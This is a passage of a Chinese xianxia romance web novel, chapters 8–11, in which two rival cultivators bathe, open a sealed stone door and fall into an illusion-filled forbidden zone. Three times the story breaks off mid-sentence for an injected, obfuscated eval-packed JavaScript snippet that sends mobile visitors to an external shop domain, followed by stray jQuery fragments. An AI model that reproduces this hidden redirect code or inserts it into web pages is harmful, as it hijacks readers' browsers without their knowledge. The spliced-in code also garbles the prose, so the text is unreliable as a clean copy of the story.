宁霜尘无奈地提了下嘴角。 还在这儿挑上了。 他抬眸看过去,不疾不徐道:“你若是想穿我穿过的衣服,也不是不行。” 谁要穿他穿过的衣服了? 自以为是。 叶云溪微皱了下眉,勉强从里面挑了一件颜色较为浅淡的,说道:“就这件吧。” 说完,他拿着衣物起身走向洞口。 在宁霜尘说他臭后,他虽然没有闻到异味,却仍总觉得身上的衣服穿着不太舒服,只想赶紧将这身脏衣服给换下来。 正好旁边有个小石潭,换了之后还能在里面梳洗一番。 他刚想叮嘱宁霜尘不要出来,一转头,却见山洞另一边的宁霜尘也跟着站了起来。 见他从后面跟来,走到洞口的叶云溪不由止住了脚:“你跟着我干什么?” 还能干什么? 宁霜尘也拿了一身干净衣物道:“走吧,一起洗。” 8. 第八章 他才不要和宁霜尘一起洗! 虽说都是男人,被看到也没什么,而且外面漆黑一片,也没什么可看的。 但一想到和宁霜尘赤`裸相对,总有一种说不上来的别扭感。 哪有宿敌是这样的? 一起吃饭,一起睡觉,一起洗澡…… 越想越觉得奇怪。 叶云溪打断道:“谁要跟你一起洗?” 他看着宁霜尘,如施令般的语气说道:“我先去洗,我洗完了你再来。” 说完又补充了一句,“不许偷看。” 上次他亲眼目睹过,宁霜尘的身材还不错。 这要被宁霜尘看见他的。 宁霜尘肯定又要借机嘲讽他。 虽然他自认为自己的身材也还行,但他不会再给宁霜尘任何一个捉弄他的机会。 宁霜尘则差点被气笑了。 堂堂云岚宗少主,竟然拿了他的衣服,转头就翻脸不认人了。 他倒也没非要和叶云溪一起,只不过想着叶云溪腿脚不便,顺道和他同去,没成想人家根本不领情。 宁霜尘于是收回了自己的好心,上下扫了眼他:“你又不是女人,有什么好看的。” 什么意思? 是男人就能看了?! 叶云溪在心里暗骂了一句。 无耻之徒! 他就知道宁霜尘不是什么好人。 等回了云岚宗,一定要让师姐师妹们离他远点。 “反正我先洗!” 扔下这句话,叶云溪扭头便出了山洞。 小石潭就在瀑布的旁边,水面似氤氲着终年化不开的雾气,迷濛一片。 再不洗一洗,叶云溪觉得自己真的要臭了。 他看了眼山洞的方向,确定宁霜尘没跟上后,把换下来的云岚宗宗服叠在岸边,踩着光滑的卵石缓缓下入石潭。 此时一轮山月正悬于峰巅,皎洁的月光似轻柔薄纱一般洒落,随着水中人的动作,搅起一池粼粼波光,煞是好看。 不远处的山洞燃着火光,叶云溪将半边身体泡在水里,一头如墨般的长发散在水面,只露出一截白皙玉润的肩颈。 小石潭虽靠近瀑布,潭水却并不冰冷,水温恰到好处,令他不禁怀念起了云岚宗的温泉。 他这一洗便忘了时辰,直到另一道颀长身影出现石潭边,才让他蓦地收回了神。 是宁霜尘。 叶云溪正微闭着眼,看到立在岸边的身影,连忙往水里沉了沉,皱着眉看着来人的方向,开口便是责问:“你怎么来了?” 都说了不许偷看,还偏偏趁他洗到一半过来。 宁霜尘果然喜欢和他作对。 宁霜尘没有继续朝他靠近,走到岸边便停下了脚,看戏似的说道:“这么久没动静,有点担心,来看看某人是不是摔倒了爬不上来。” 什么有点担心? 分明就是想来看他的热闹! 叶云溪正要开口反驳,却见宁霜尘低头去解腰间的衣带,他顿时一脸警觉,结结巴巴道:“你、你要干什么?” 这人不会是想…… 如他所料,宁霜尘接下话道:“来都来了,正好一起洗了。” 说着抬眼,“你还没洗完?” 叶云溪急忙叫住他:“等等!” 他才不和宁霜尘一起洗! 趁着宁霜尘宽衣解带的间隙,叶云溪连忙从水中上岸,捞起岸边的雪青色外袍披在身上。 于是,等宁霜尘抬头看时,只看见一片雪青色的衣角一闪而过,衣袍下掠过一抹刺眼的白。 而叶云溪早就裹上衣袍跑了。 “你自己洗吧!” 叶云溪丢下这句话,转身头也不回离开了石潭。 这人果然无耻,当着他的面就直接脱衣服,真是一点儿都不害臊! 他一边想着,一边系着衣带。 这才发现,宁霜尘的衣服对他来说略宽松了些,只能勉强将宽大的袖角堆卷在手腕处。 凭什么宁霜尘身材比他好,长的也比他高? 不公平! 待宁霜尘回到山洞,叶云溪已经靠着洞壁睡着了。 一旁的火堆即将燃尽,火光逐渐变得微弱,与此同时,洞里升起一丝寒意。 叶云溪似有些怕冷,面朝洞壁微蜷了蜷身体。 宁霜尘朝他淡淡扫了一眼,余光扫过他领口处不经意间露出来的雪白肌肤,不由停顿了片刻。 他走过去,弯腰往火堆里添了几根枯枝,过了会儿,又从储物袋里拿出一件外袍,轻轻盖在叶云溪的身上。 熟睡的叶云溪没了白日里的张牙舞爪,只闭着眼睛一动不动,变得温顺乖巧许多。 宁霜尘在他面前蹲下身,顺势查看了一下他的腿伤,见伤口已然愈合,复又将外袍重新掩上。 受伤了还在水里待那么久。 看来伤得还不够重。 似听到了他的心声一般,睡梦中的叶云溪嘴唇微微动了动,发出几句含糊不清的呓语。 “宁霜尘,你这个无耻之徒!不许脱衣服、不许看我……” 一如白日那般张扬蛮横。 宁霜尘听了,却是不自觉弯了下唇角。 翌日。 叶云溪在一阵煮沸的咕嘟声中醒来。 昨晚一番换洗后,他第一次在崖底睡了个好觉,夜里似乎有点冷,但因为睡得太沉怎么也睁不开眼。 只隐约记得好像又做了个梦,梦里他和宁霜赤着全身泡在石潭里,他被宁霜尘嘲笑,扑过去揍他,结果脚底一滑,不小心扑进了宁霜尘怀中…… 什么乱七八糟的…… 叶云溪忍不住按了按额角。 怎么又梦到宁霜尘了? 还是这么亲密怪异的梦…… 真是噩梦。 叶云溪缓了缓神坐起来,低头看到随着他的动作滑下去的雪青色外袍,不由愣了一下。 宁霜尘的? 正想着,洞口便传来了宁霜尘的声音。 “醒了?” 一道高大修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490688|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的身影从外面回来,手里拿着刚洗过的衣物,晾在洞口的树枝上。 仔细一看,是他的云岚宗宗服。 宁霜尘居然帮他洗衣服? 叶云溪几乎不敢相信眼前看到的这一幕。 很快,宁霜尘晾好了衣服又走进山洞,见叶云溪正看着自己,猜到了他在想什么,说道:“顺手洗的,不用谢。” 谁谢他了? 又不是他让帮忙的。 叶云溪撇了撇嘴。 虽然洗衣做饭这种事他确实不会做。 自出生起,叶云溪便在全宗门的呵护下长大,幼时爹娘为除妖兽离开了宗门几年,他便被交给了宗门的师兄师姐。 别说洗衣做饭,就连扫地用的扫帚,他都从来没有碰过。 衣服靴袜每天都是新的,天天不重样。 哪里像现在,衣服还得穿宁霜尘的,最重要的是,一点儿都不合身! 叶云溪卷了卷垂下来的袖口,就在这时,一股浓郁的鲜香从另一边飘了过来。 火堆上架着一口铁锅,是宁霜尘从储物袋里拿出来的,此时锅里正冒着腾腾热气,那股诱人的鲜香便来自这里。 宁霜尘盛了碗鱼汤,见对面的叶云溪正盯着铁锅,又往里面盛了一些鱼肉和蘑菇,再把汤碗递给他。 叶云溪也不客气,双手捧在手里,轻轻吹了口气,这会儿才说了一句,“谢谢。” 宁霜尘闻言,抬眸睨了眼他,想起昨晚听到的呓语,不禁起了逗弄的心思。 他给自己也盛了碗鱼肉,冷不丁道:“你昨晚做梦了?” 叶云溪刚喝了口鱼汤,乍然听见这话,被烫得吐了吐舌头。 刚才的感动瞬间消失。 提起昨晚那个梦,他又想起了梦里和宁霜尘的亲密接触,耳廓染上一抹微红,脸色却是一沉:“关你什么事。” “让我猜猜……”宁霜尘做思考状,继续道:“你梦到了我?” 叶云溪喝着鱼汤不由一顿。 宁霜尘顿时露出一脸略显得意的表情,挑了挑眉:“看来我猜对了。” 叶云溪没承认也没否认,他不擅长撒谎,有什么想法很容易显露在脸上。 梦到了又怎么了? 只是梦而已,又不是真的。 干什么一直问个没完! 叶云溪看了眼汤里的蘑菇,不耐地板着脸道:“是是是,我梦到你了,我梦到你吃了毒蘑菇,七窍流血,全身腐烂,死状凄惨!” 最后看着他问道:“满意了吗?” 见他一副气急败坏的样子,宁霜尘听了他的话一点儿都没感到生气,反而点了点头表示满意。 他的视线仍落在叶云溪的身上,接着又道:“你不好奇我为什么知道?” 叶云溪眼神略不自然地躲闪着,开口仍是不太耐烦的语气:“不好奇。” 可宁霜尘好像并不在意他的回答,似为了看清他的每一个反应般,盯着他的脸,缓了缓道:“你在梦里叫了我的名字。” 叶云溪:“!” 9.第九章 他在梦里叫了宁霜尘的名字?! 怎么可能…… 但想起他们在梦里的接触,叶云溪不免有些心虚地移开了眼。 宁霜尘却在这时微勾着唇,一个个字道:“骗你的。” 听见这话,叶云溪猛地抬眸。 宁、霜、尘! 这人又又又戏耍他!!! 宁霜尘似早有防备,在叶云溪拔剑的瞬间,端着鱼汤仰身一躲,灵巧地避开了刺来的长剑。 他顺势坐到另一块石头上,一副泰然自若的样子,瞥了眼叶云溪的右腿:“嗯?你的腿伤好了?” 腿伤? 叶云溪闻言不由停了下来,低头看了眼站起来的双腿,又忍不住来回走了两步。 昨日仍有些一瘸一拐,一觉醒来竟能行动自如了? 他不禁想起昨晚服下的丹药,看来之所以能恢复如此之快,同那两粒上品灵丹少不了关系。 那丹药是宁霜尘给他的。 思及此处,叶云溪暂且放下了手中长剑,看向宁霜尘时仍黑着一张脸,一低头却止不住嘴角微翘。 太好了! 他的腿伤终于好了! 不用担心变成瘸子了! 见他露出孩童一样的喜悦神色,宁霜尘也不自觉微扬了下唇角。 许是太久没有这般行动自如,叶云溪高兴地在山洞里来来回回走了好几遍。 宁霜尘在一旁看着,扫了眼他碗里快要放凉的鱼汤,等他高兴了一会儿,才开口提醒道:“等会儿还要赶路,先吃吧。” 嗯?赶路? 叶云溪顿时停下了动作,本想问他去哪儿,又很快想起了什么,反应过来后脱口而出两个字:“石门?” 宁霜尘点了点头。 叶云溪旋即明白了他的意思,暂时压下内心的喜悦,重新捧起盛着鱼汤的碗。 眼下他们仍处在崖底,想办法尽快离开此处,才是眼前最重要的事。 两人吃完后,熄了火堆,收拾着离开山洞。 宁霜尘将拿出来的东西一一放回储物袋,包括那口煮汤用的锅具,接下来的行程尚且不明,他们仍需做好一切准备。 叶云溪则在旁边整理衣袍。 这衣袍对他来说实在宽松,且十分繁琐,他甚至怀疑宁霜尘故意挑了件穿过的旧袍给他。 这么想着,便问出了口:“这衣服你穿过?” 宁霜尘刚收拾好储物袋,听了他的话不免想笑,好不容易挑出几身崭新的衣袍,还被对方百般嫌弃,一会儿挑剔颜色太过一致,一会儿怀疑被他穿过。 他索性顺着话应道:“嗯,穿过,怎么了?” 叶云溪立时眉心一皱。 他就知道,宁霜尘这人一肚子坏水! 难怪穿着不太舒服,果然拿了件旧袍给他。 旧袍也就罢了,偏偏是宁霜尘穿过的。 叶云溪此时只想立即,马上,立刻将这身衣服换下来。 他看着宁霜尘问道:“我的衣服呢?我要换衣服。” 宁霜尘挑了下眉:“你确定要换?”说着,扫了眼晾在洞口的衣物道:“咯,在那儿,还是湿的。” 叶云溪眉头皱得更紧了。 若是他灵力还在,就能直接使用洁净术了,哪里还需要洗衣服这么麻烦。 叶云溪又道:“你的那些法器呢?” 宁霜尘摇了摇头:“没有灵力,用不了。” 他昨晚在叶云溪睡着后试过,没有修为灵力,根本无法驱使法器,当然,也不排除法器和他们一样,都受到了来自深崖的禁制。 唯一能用的,是两颗只在夜里发光的夜光石。 法器用不了? 那怎么办? 叶云溪仍拧着眉。 他不会还要继续穿宁霜尘穿过的衣服吧? 可又不能换回刚洗过的云岚宗宗服…… 想不到更好的办法,叶云溪只能深吸口气,勉强咬牙忍下来。 再忍忍、再忍忍…… 等离开了崖底,他就可以彻底摆脱宁霜尘了! 收拾完毕,两人再次离开山洞。 循着昨天的路线,他们穿过湖边密林,又一次来到那面爬满蔓叶的石壁前。 石门上的藤蔓已经被宁霜尘清理掉了,上面的刻字完全暴露在视野里,歪歪扭扭,乍看像两条弯曲并排的蚯蚓。 叶云溪和宁霜尘站在石壁前,做好准备后,互换了个眼神,不约而同拔出长剑劈向石门。 石壁在冷冽剑风下抖落几块碎屑,过了片刻,便恢复至先前的平静,石门依旧岿然不动。 明明上次暗河里的巨石很轻易便被他们劈开了…… 叶云溪蹙眉道:“再试试?” 宁霜尘点点头。 两人于是又试了几次,结果仍和前两次一样,面前的石门除了落下几块碎屑,没有丝毫动静。 叶云溪不禁开始怀疑:“难道这道石门需要灵力才能打开?” 若是如此,失去修为的他们根本毫无办法。 宁霜尘却是盯着刻字,从容道:“也不一定。” 他总觉得石门上的刻字有些古怪,回头扫视了一遍深坑四周,目光落在石壁正对着的两棵大树上。 宁霜尘接下自己的话道:“或许有机关。” 机关? 叶云溪刚想问机关会在哪里,便见宁霜尘转身朝着石壁右边走去,一边走一边看着对面笔直的树干,最后在距离石门半丈的地方停了下来。 叶云溪跟着走过去,走到宁霜尘的身旁,顺着他的视线看向石壁。 只见被藤蔓遮掩的石壁上果然有一块凸出的石头,石头上有道刻痕,不像字迹,倒像是某种花草的图案。 他看着上面的图案问道:“这就是机关?” 宁霜尘嗯了声,“如果我没猜错,应该还有一处机关。” 他说着转而看向另一边,“你先在这里,我过去看看。” 事实证明,和宁霜尘猜的一样,石门左右果真分别有一处机关。 这两处机关分别对应着石门上的两个刻字,合起来看是一个‘林’字,分开则是两个‘木’字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494069|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,同时也对应着石壁对面的两棵大树。 他们各站一边,同时摁下机关。 随着机关开启,沉重的石门缓缓发出闷响,一阵地动山摇之后,石门在咔嚓刺耳的摩擦声中朝着两边慢慢打开。 出现在他们面前的,是一个冰冷幽深的洞穴,宛若一座庞大的地宫般,一眼看去深不见底,洞口处似乎还冒着丝丝寒气。 这个洞穴到底通往何处?是否能真的抵达外界? 谁也不知道。 两人互看一眼后,提着长剑一同走了进去。 不管里面通向哪里,不管是不是崖底的出路,只有进去之后才能知晓结果。 进去之前,宁霜尘给了叶云溪一颗夜光石,叶云溪托在手里,借着夜光石散发的幽光照着前路。 眼前是一条长长的甬道,宽约四尺有余,刚好容纳二人,甬道前方黝黑深邃,两边洞壁似凝着千年寒冰一般,冰凉刺骨。 叶云溪忍不住搓了下手臂,指尖触到身上光滑的衣料,又不自觉顿了顿。 许是因为穿着宁霜尘的衣服,这一路走来他都觉得浑身不太自在。 就好像全身上下都染上了宁霜尘的气味一样。 为了转移注意,他扭过头转向洞壁,夜光石映照着墙面,幽光之下,一幅绝妙精美、栩栩如生的壁画浮现在眼前。 洞壁上绘着一棵高大巨树,枝叶繁密,缠绕交错,盛放的花朵点缀其间,花瓣呈浅而朦胧的粉色,花丝又细又长,形似折扇,好看中透着诡异。 叶云溪只看了一眼,便好似被蛊惑一般,一不小心看入了神,直到身侧的人轻拍了下他的肩膀,才猛地清醒过来。 宁霜尘出声道:“别看。” 叶云溪如受惊之鸟,蓦地回神,脑袋仍有些发懵。 他赶忙别过脸去,还没来得及问出这壁上画的是什么,宁霜尘便开口解答了他的疑惑。 “这壁画上的是合欢树。”宁霜尘不疾不徐解释道:“看久了会被其迷惑,继而失去理智,只有心无杂念才不会受其影响。” 心无杂念…… 听到这四个字,叶云溪不由耳廓一热。 都怪宁霜尘给他的衣服,不然他怎么会走神! 叶云溪撇撇嘴,眼神游移着摸了下鼻尖,暗自嘀咕了句:“我又没有胡思乱想……” 宁霜尘走在他的旁边。 他嘀咕完,仍是有些好奇,自言自语道:“可是,为什么这里会有合欢树的壁画?” 所有修仙宗门里,唯一与合欢树有关的宗派,只有以灵修为主的风月宗。 但风月宗弟子大多行踪不定,神出鬼没,鲜少有人知其踪迹。 有关风月宗的传闻,叶云溪也只在师兄们的闲聊中听过,师兄们说,风月宗所谓的灵修,实则便是双修,只要与他人配合,就能修炼成功。 他虽然没碰到过风月宗的弟子,倒也听得明白双修是什么意思。 难道这里有风月宗的弟子来过? 他正想着,宁霜尘在这时说道:“前面好像有间密室,我们先过去看看。” 10.第十章 暗室就在甬道尽头,一个宛若牢笼般密不透风的空间,四面是坚硬冰冷的石壁,绘着花与树的壁画一直蔓延至暗室顶端。 知道那是合欢树后,叶云溪没再靠近石壁,而是和宁霜尘肩并肩站着,透过夜光石的幽光打量着这个封闭的空间。 暗室四周立着几根半人高的圆形石柱,中间刻着一个奇特怪异的浮雕图案,看起来像是什么文字,横折撇捺,毫无规律,令人难以辨认。 两人分别转过身去,目光投向周围的石柱,暗室里的石柱共有六根,呈圆弧状,如众星拱月般将浮雕图案围在中央。 叶云溪走近看了看,发现每一根石柱上都刻有一个字,他在夜光石的照明下,把上面的字依次念出来:“木、木、二、小、土、也……” 六根石柱,分别刻着六个字。 念完之后,叶云溪扭头看向宁霜尘,“这是什么意思?” 宁霜尘视线转至暗室中央的浮雕图案。 叶云溪顺着他的视线看过去,细看之下,浮雕上的刻痕和石柱上的文字十分相似。 他脑中立时灵光一闪,“我知道了!我来!” 每次都是宁霜尘出风头,这次终于轮到他了。 叶云溪走到其中一根石柱面前,端详了片刻,果然在石柱侧面找到了一个机关,和开启石门的机关一样,上面镌刻着某种花草的图案。 他这会儿才知道,这图案上的花草便是合欢花。 每根石柱都有一个机关,伴随机关转动,一道道红光自四面八方汇入暗室中央,中间的浮雕随之移动,将零乱的刻痕缓缓拼凑成了两个醒目的大字。 ——禁地。 叶云溪跟着念了一遍,脸色不由微微一变。 他和宁霜尘对视了一眼,很快明白过来,从一开始,石门上的刻字就是‘禁’字,只是字迹的下半部分早已看不清晰,所以才只剩下了一个‘林’字。 所谓禁地,即是禁入之地。 此处既为禁地,那么便不是深崖的出口。 “我们……” 叶云溪刚张了下口,还未来得及说出后面的话,紧接着便听见甬道外传来一声轰然巨响。 是石门! 两人神色顿变,正要抬腿,忽地脚底一空。 镌刻着禁地二字的浮雕蓦然间生出一条裂缝,如黑色漩涡般,瞬间将暗室里的二人吞噬其中。 这一幕发生的太快太突然,叶云溪根本来不及反应,等他回过神时,身体已经被一股强大的气流吸进了黝黑裂缝里。 隐约之中,好像有一只温暖宽大的手掌捉住了他的手腕。 是宁霜尘么? 叶云溪只觉眼前一黑,意识陡然坠入黑暗,不知过了有多久,才在迷迷糊糊中悠然醒转。 四周漆黑一片,伸手不见五指,仿佛置身于无边无际的黑夜里,半点儿星芒也看不见。 叶云溪缓了缓动了下手腕,紧紧捉在手腕处的手掌似乎已经松开了,他怔怔地睁着眼躺了好一会儿,终于从怔愣中缓过了神。 他们触碰了机关,脚下裂开一道缝隙,然后掉了下去…… 那现在呢? 叶云溪摸索着身旁的石壁,慢慢从地上爬起身,待到完全清醒过来,终于对眼前的黑暗有了一丝后怕。 他抿了抿唇,朝着黑黢黢的四周轻轻喊了声:“宁霜尘?” 没有回应。 身后刮来一阵冷风,一股寒意自脚边窜去。 叶云溪没忍住缩了下脖子,裹紧了身上并不合身的衣袍。 宁霜尘不会也晕过去了吧? 他又喊了一声:“宁霜尘?你在吗?” 还是没回应。 看来要么真的晕了,要么人不在这里。 没有照明的工具,根本看不见路,叶云溪决定先去找一下丢失的夜光石。 他扶着石壁提着剑,一步步往前走,每走几步停一下,约摸走了半炷香,前面拐角处隐约闪烁着一抹幽光。 叶云溪以为是一起掉下来的夜光石,急忙加快了脚步,那抹幽光越离越近,待他转过拐角,几盏萤火般的石灯赫然出现在眼前。 前面压根没有什么夜光石,而是一座冒着氤氲水汽的温泉,温泉旁有一座八角亭,一张石桌,亭檐缀着飘动轻盈的薄纱,灯影幢幢,一条石径蜿蜒至脚下。 想不到暗室下面竟是这样的地方,叶云溪一时看愣了神,直至耳侧飘来一声柔媚之音。 “过来吧。” 他寻声望去,八角亭内不知几时多出了一道红衣身影,背对着他的方向,长发如瀑,身形纤瘦。 禁地里还有其他人? 可刚才这里分明一个人都没有。 叶云溪谨慎地朝前迈了一步,又很快止住了脚,出声问道:“你是谁?” 话音落下,亭内的红衣人倏地消失不见,紧接着,一道温热的躯体自身靠了上来,贴近他的后颈轻吹了口气。 声音转至耳畔,柔媚至极,“你猜呢?” 叶云溪听进耳朵里,只觉得全身起了层鸡皮疙瘩,他皱了皱眉,不耐地追问:“你到底是谁!” 一转身,红衣人却又不见了,再度回到了不远处的八角亭中。 是幻象? 可眼前的一切又如此真实。 “想知道我是谁?”红衣人斜倚在亭栏边,把玩着手里的琉璃酒杯,语调慵懒道:“你不妨回头看看。” 叶云溪当然没有就这么听他的话,红衣人离他太远了,从刚才到现在,他根本无法看清对方长相,只能从声音分辨,似乎是一名青年男子。 他犹豫了片刻,正思忖着是否转身去看,就在这时,冷不丁从身后传来一句。 “叶云溪?” 很耳熟。 是宁霜尘的声音。 叶云溪这才回过了头,扭身一看,喊他的人果然是宁霜尘,提着长剑站在石壁拐角的阴影里。 看见是他,宁霜尘朝他迈开脚步,边走边道:“原来你在这儿。” 叶云溪没想到宁霜尘会落在后头,也有些意外,但又想到自己可能比他先一步醒来,倒也没有多想。 他微抬了下下巴,轻哼了一声,“是你太慢了。” 说着转过眸子,又道:“不过你来得正好,我刚在这里看见了一个奇怪的人,他刚刚还跟我说……” 这一转眸,才发现亭子里早已没了红衣男子的身影,轻盈的薄纱随风飘舞,亭栏边却是空空如也。 叶云溪不禁一脸诧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516778|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色:“人呢?明明刚才还在那儿……” 宁霜尘此时已经走到了他的身侧,随着他的目光看向八角亭,问道:“什么样的人?” 叶云溪如实道:“一头长发,身着红衣,我没看清他的脸,听声音应是一名男子。” 他还是觉得奇怪,继续道:“我问他是谁他也不说,只让我猜,又让我回头看,我一回头就看到你来了。” “红衣、长发……”宁霜尘略一思忖道:“你看到的可能是风月宗的幻象之术。” 风月宗?叶云溪闻言微微一怔:“你的意思是,那是风月宗的人造出来的幻象?” 宁霜尘点头:“嗯。” 叶云溪仍是不解:“可这里不是禁地吗?难道……这个禁地和风月宗有关?” 倘若如此,那便不仅仅是有风月宗弟子来过这么简单了。 宁霜尘接过话道:“不无可能。” 他说完,举步走到温泉边,弯腰将手探入水中。 叶云溪刚想问他接下来怎么办,扭头便见宁霜尘站在温泉旁,似在解着腰间的衣带。 他不由一顿,慌忙别过脸去,皱眉道:“你这是做什么?” 宁霜尘试完了水温,不紧不慢道:“你不是想换衣服吗?正好这里有温泉,还可以顺道歇一歇。” 他是想换衣服,可没想和宁霜尘泡温泉! 叶云溪仍别着脸:“出去再说。” 这里可是禁地,谁知道会不会突然有什么东西钻出来,而且在这里换衣服泡温泉,听起来总感觉有些怪怪的。 见宁霜尘没有动静,叶云溪适才微偏了下头,用余光扫了一眼,却见宁霜尘已经脱下衣袍泡在了水里。 这是真打算泡温泉? 他没什么耐心,直接转过身道:“要换你自己换,我走了。” 他只想尽快出去,可没有这个闲情雅致。 谁知刚迈开腿,一只手冷不防从后面拽住他的脚腕,随后他脚底一滑,只听扑通一声,水面溅起一阵水花,而他也从温泉边落入了水中。 宁霜尘! 叶云溪从水里探出头来,抹了把脸上的水珠,猝然落水,令他有些措不及防。 他忍不住恼怒道:“干什么!你想找死?” 下一秒,宁霜尘从他身旁浮出水面,朝他的方向慢慢靠近,眼睛定定地看着他,声音带着蛊惑般说道:“你猜我想干什么?” 叶云溪下意识往后退去,一直退到池边,后背抵着温泉石岸,神色终于有了一丝慌乱。 “谁知道你想干什么。” 这种感觉太奇怪了。 就好像……宁霜尘忽然变了个人一样。 见他越靠越近,叶云溪察觉不对,慌忙问道:“你怎么了?中幻术了?” 宁霜尘在他面前停下来,仍目不转睛盯着他,神情从未有过的温柔,像哄着他似的,“你的衣带还没解,我帮你。” 叶云溪被他盯得耳根发热,微仰着头,吞吞吐吐说出两个字:“不、不用……” 可宁霜尘似乎根本不听他的话,温热的气息缓缓洒落,离得太近,他甚至能看见对方宽阔臂膀上滚落的水珠,心跳跟着莫名加快。 恍惚中,那只灼热的手掌落在了他的腰间。 11.第十一章 “我都说不用了!” 叶云溪终于忍无可忍,咬了咬牙,抡起拳头朝着宁霜尘的脸砸去。 他明明砸在了宁霜尘的脸上,下一秒,手腕却忽地被宁霜尘捉在手里。 叶云溪于是立马改为用脚踹他,趁着宁霜尘低头去看的刹那,拔出长剑毫不犹豫迎面刺去。 宁霜尘急忙侧身一避,躲闪的同时出声打断道:“等一下。” 他刚才说不用的时候,怎么没见宁霜尘停下来?这会儿倒来叫他等一下。 说什么帮忙,分明就是想趁机占他便宜! 无耻之徒! 叶云溪越想越生气,压根听不进去,剑锋一转,再度刺向不断闪躲的宁霜尘,直到宁霜尘反过来出手将他困在石壁间。 “你先别急。”宁霜尘看着他解释道:“我不知道你究竟看到了什么,但我能确定,你刚刚看见的一定是幻象。” 什么幻象不幻象,叶云溪只知道,差一点他就被宁霜尘轻薄了! 那只手带来的灼热触感似乎仍停留在腰间,高大的身影将他罩在一道阴影里,眼睛对着眼睛,嘴唇对着嘴唇,两人的距离一如方才那般近在咫尺。 叶云溪浑身一僵,红着耳根猛地把人推开:“放开!” 宁霜尘这才发觉他们挨得过近,连忙扭过头松开了手,后退一步拉远距离。 片刻后,他微敛眸色,轻声说了句:“抱歉。” 头一次从宁霜尘口中听见这两个字,叶云溪好似终于如泄了气一般,慢慢从燃烧的怒火中冷静下来。 看在宁霜尘主动道歉的份上,他就大人不记小人过,姑且饶他一次! 他的脸色依然不太好看,只比方才稍微和缓了一些,完全冷静下来之后,才注意到四周早已变了模样。 什么亭子,什么温泉,什么石灯,通通都不见了,仿佛做了一场虚幻的梦般,梦醒后眼前又变回了一片黑暗。 还是冰冷的石壁,长长的甬道,夜光石还在,宁霜尘也在。 叶云溪愣了愣神,此时此刻,终于明白了宁霜尘所说的幻象。 或许,从一开始,他就根本没有醒来过。 叶云溪仍觉得有些不可思议,问道:“你怎么知道是幻象?” 看这样子,宁霜尘应该比他先从幻象中醒来。 宁霜尘握拳放在唇边清了下嗓子,避开叶云溪追问的眼神,他总不能说自己在幻象里看见了他。 如果不是幻象,叶云溪又怎么可能主动宽衣和他那么亲近…… 宁霜尘顿了会儿,正了正色道:“和现实不同,幻象中的人可能会做出与平时截然相反的举动。” 叶云溪听了,点了点头,一副若有所思的样子。 难怪幻象里的宁霜尘会对他动手动脚。 原来是这样。 这么说来,是他错怪宁霜尘了…… 见叶云溪露出恍然的神色,宁霜尘没来由舒了口气。 两人没再继续说下去,各自揣着心事,沿着石壁方向往前走。 夜光石的幽光映在脸上,叶云溪看着黑黝黝的前方道:“这里是暗室下面?” “应该是。”宁霜尘走在前头,发现叶云溪落在身后,停了一步等他,“我们再去前面看看。” 叶云溪嗯了声,连忙跟紧宁霜尘的步伐。 明明刚才还恨不得把人暴揍一顿,这会儿却紧紧挨着他,衣角擦着衣角,只差像上次那样抓着对方的手臂。 他们在黑暗中摸索了一段路,正前方终于出现了一扇门。 又是一间暗室。 和上一间暗室一样,石壁上依然绘着合欢树的壁画,不同的是,里面没有石柱,也没有浮雕图案,只有一个形似日晷的石刻。 难道又有新的机关? 这一次,叶云溪变得小心翼翼起来,没有去触碰暗室中央的日晷石刻,而是拿着夜光石查看着暗室四周。 除了壁画和石刻,石壁上隐约还有一道道深浅不一的痕迹,脚下的地砖上也有。 宁霜尘蹲着身,指腹轻抚过那些痕迹,微作沉吟道:“是剑痕。” “剑痕?”叶云溪闻言一顿,看着地上的剑痕,跟着思忖道:“难道来过这里的人不是风月宗的弟子?” 可这个地方四处都是合欢树的壁画,必然与风月宗少不了干系。 合欢树、红衣人、幻象…… 叶云溪脑中不由冒出一个大胆的猜测。 “剑痕或许与风月宗无关。”宁霜尘紧接着缓缓道出他的猜测,说道:“但此处禁地,极可能便是由风月宗的人设下的。” 叶云溪点头附和:“和我想的一样。” 两人少见的想法一致,宁霜尘忍不住看了眼他。 被他这么一看,叶云溪后知后觉他们过于默契,抱着手臂哼了声:“我早就想到了。” 宁霜尘没和他争,继续道:“青墟秘境上一次开启在四百年前,上上次开启在八百年前,看石门上的刻痕,这里应该早在八百年前就已经设成禁地了。” 八百年前…… 能在秘境中设下如此禁地,令误入深崖者修为尽失,且还是和风月宗有关的人,放眼整个修仙界只有一个,那就是—— “风月宗的霁月真君?”叶云溪喃喃自语道:“莫非我在幻象里看见的红衣人是他……” 宁霜尘抬眸:“红衣人?” 